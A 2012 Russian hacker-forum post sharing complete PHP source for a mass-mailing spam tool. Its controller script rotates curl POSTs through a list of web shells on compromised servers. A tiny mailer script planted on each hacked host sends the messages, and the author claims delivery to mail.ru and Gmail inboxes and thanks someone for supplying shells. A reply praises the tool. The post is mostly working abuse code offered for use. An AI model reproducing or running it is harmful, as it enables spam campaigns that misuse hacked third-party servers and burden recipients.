1. Теперь за форумную активность начисляются биткоины и другие криптоденьги. Подробнее.
    Скрыть объявление
  2. Появилась архивная версия форума arhiv.xaker.name, где собраны темы с 2007 по 2012 год.
    Скрыть объявление

Мой пхп спамер на шелах!!!

Тема в разделе "PHP, Perl и др.", создана пользователем rezvey, 23 ноя 2012.

  1. rezvey
    rezvey Новичок
    Симпатии:
    4
    В общем-то обрыскал пол интеренета, нигде не нашел что-то подобное, поэтому я решил написать сам, естественно в нем нету никаких наворот! Он просто шлет с шелов текст письма по адресам! Писал я его просто для ознакомления, в стиле "как бы оно могло быть", так что приму любую критику с вашей стороны с пониманием! Шлет с шелов, на которых разрешена ф-я mail()(по моим тестам 4 из 6ти) в инбокс на mail.ru и gmail.com

    Вот сам код:

    index.html
    Код:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Меню спамера!!!©rezvey</title>
     </head>
     <body>
      <p align="center"><h1><font color="#FF0000">Меню спамера!</font></h1></p>
       <a href="dob_shell.php" align="justify" align="center">Добавить шелл</a>
       <a href="dob_mail.php" align="justify" align="center">Добавить мейлы</a>
       <a href="spamscr.php" align="justify" align="center">Спам</a>
       ©rezvey
     </body>
    </html>

    dob_mail.php
    Код:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Добавить мейл!!!©rezvey</title>
     </head>
     <body>
      <?php
          if(!empty($_POST)){
          file_put_contents('./base/mails.txt', $_POST['mail']);
          $html=array_unique(file('./base/mails.txt'));
          echo 'Мейлы добавлены, Сейчас:'.count($html).' мейла(ов)';
          } else {
             echo 'ничего не добавлено';
            }
    //©rezvey
      ?>
      <p align="center"><h1><font color="#FF0000">Список шелов!</font></h1></p>
      <form action="dob_mail.php" method="post">
      <input type="hidden" name="action" value="post">  
       <table width="1" border="0">  
        </tr>
        <tr>
         <td colspan="2">Список мейлов:<br>
          <textarea cols="50" rows="8" name="mail"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Добавить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>

    dob_shell.php
    Код:
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Добавить шелл!!!©rezvey</title>
     </head>
     <body>
      <?php
          if(!empty($_POST)){
          file_put_contents('./base/shells.txt', $_POST['shell']);
          $html=array_unique(file('./base/shells.txt'));
          echo 'Шелы добавлены, Сейчас:'.count($html).' шела(ов)';
          } else {
             echo 'ничего не добавлено';
            }
    //©rezvey
      ?>
      <p align="center"><h1><font color="#FF0000">Список шелов!</font></h1></p>
      <form action="dob_shell.php" method="post">
       <table width="1" border="0">  
        </tr>
        <tr>
         <td colspan="2">Список шелов:<br>
          <textarea cols="50" rows="8" name="shell"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Добавить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>

    spamscr.php
    Код:
    <?php
     error_reporting(E_ALL);
     ini_set("display_errors", 1);
    ?>
    <!DOCTYPE html>
    <html>
     <head>
      <meta charset="utf-8">
      <title>Моя форма отправки писем!©rezvey</title>
     </head>
     <body>
      <p align="center"><h1><font color="#FF0000">Моя форма отправки писем!</font></h1></p>
      <form action="spamscr.php" method="post">
       <table width="1" border="0">  
        <tr>
         <td width="50%">Тема письма:</td>
         <td align="center">
          <input type="text" name="title" maxlength="32" placeholder="тема письма" value="" >
         </td>
        </tr>
        <tr>
         <td colspan="2">Сообщение:<br>
          <textarea cols="50" rows="8" name="text"></textarea>
         </td>
        </tr>
        <tr>
         <td colspan="2"><input type="submit" value="Отправить"></td>
        </tr>
       </table>
      </form>
      <a href="./index.html"> НАЗАД </a>
    ©rezvey
     </body>
    </html>
    <?php
    ignore_user_abort(true);
    set_time_limit(0);
    if(!empty($_POST)){
    if(!empty($_POST['title'])){
    if(!empty($_POST['text'])){
    $buffer = @fopen("./base/mails.txt", "r");
    $shells = file("./base/shells.txt");
    $j=0;
    $i=0;
    if ($buffer) {
        while (($mail = fgets($buffer)) !== false) {
            if($j == count($shells)){
                $j=0;
                sleep(10);
            }
         $mailp=trim($mail);
    	 $_POST['mail'] = $mail;
    	 $mailp=trim($_POST['mail']);
      	 $text = $_POST['text']."\r\n".'____________________'."\r\n".'Созданно в ознакомительных целях!'."\r\n".'Автор:rezvey';
         $title = $_POST['title'];
    	 $shell = trim($shells[$j]);
    $title1 = '=?UTF-8?B?'.base64_encode($title).'?=';
    	 $headers  = 'MIME-Version: 1.0' . "\r\n";
         $headers .= 'Content-Type: text/plain; charset="utf-8"' . "\r\n";
         $header.="Subject: $title1";
         $postfields = array('meil' => $mailp, 'title' => $title1, 'text' => $text, 'headers' => $headers);
         $curl = curl_init();
         curl_setopt($curl, CURLOPT_URL, $shell);
         curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
         curl_setopt($curl, CURLOPT_POST, true);
         curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
         $out = curl_exec($curl);
    	 echo $out;
         curl_close($curl);
         $i++;
        }
        if (!feof($buffer)) {
            echo "Error: unexpected fgets() fail\n";
        }
        fclose($buffer);
        echo 'Рассылка завершена!!!';
    }
    }
    }
    } else {
    echo 'Заполните поля';
    }
    //©rezvey
    ?>

    botmail.php
    Код:
    <?php
        $mail = $_POST['meil'];
        $title = $_POST['title'];
        $text = $_POST['text'];
    	$headers = $_POST['headers'];
        mail($mail, $title, $text, $headers);
    ?>
    Исходник с инструкцией можно скачать >>>ТУТ<<<

    Пасс:555

    Благодарности: очень благодарен двум людям, Человеку который меня консультировал постоянно по написанию, и второму, за то что любезно предоставил шелы для тестов!
     
    Последнее редактирование: 23 ноя 2012
    23 ноя 2012
    3 пользователям это понравилось.
  2. ToBapuw_XaKep
    ToBapuw_XaKep Новичок
    Симпатии:
    8
    Получай законный плюс.
    Вещь нужная
     
    23 ноя 2012

Поделиться этой страницей

Загрузка...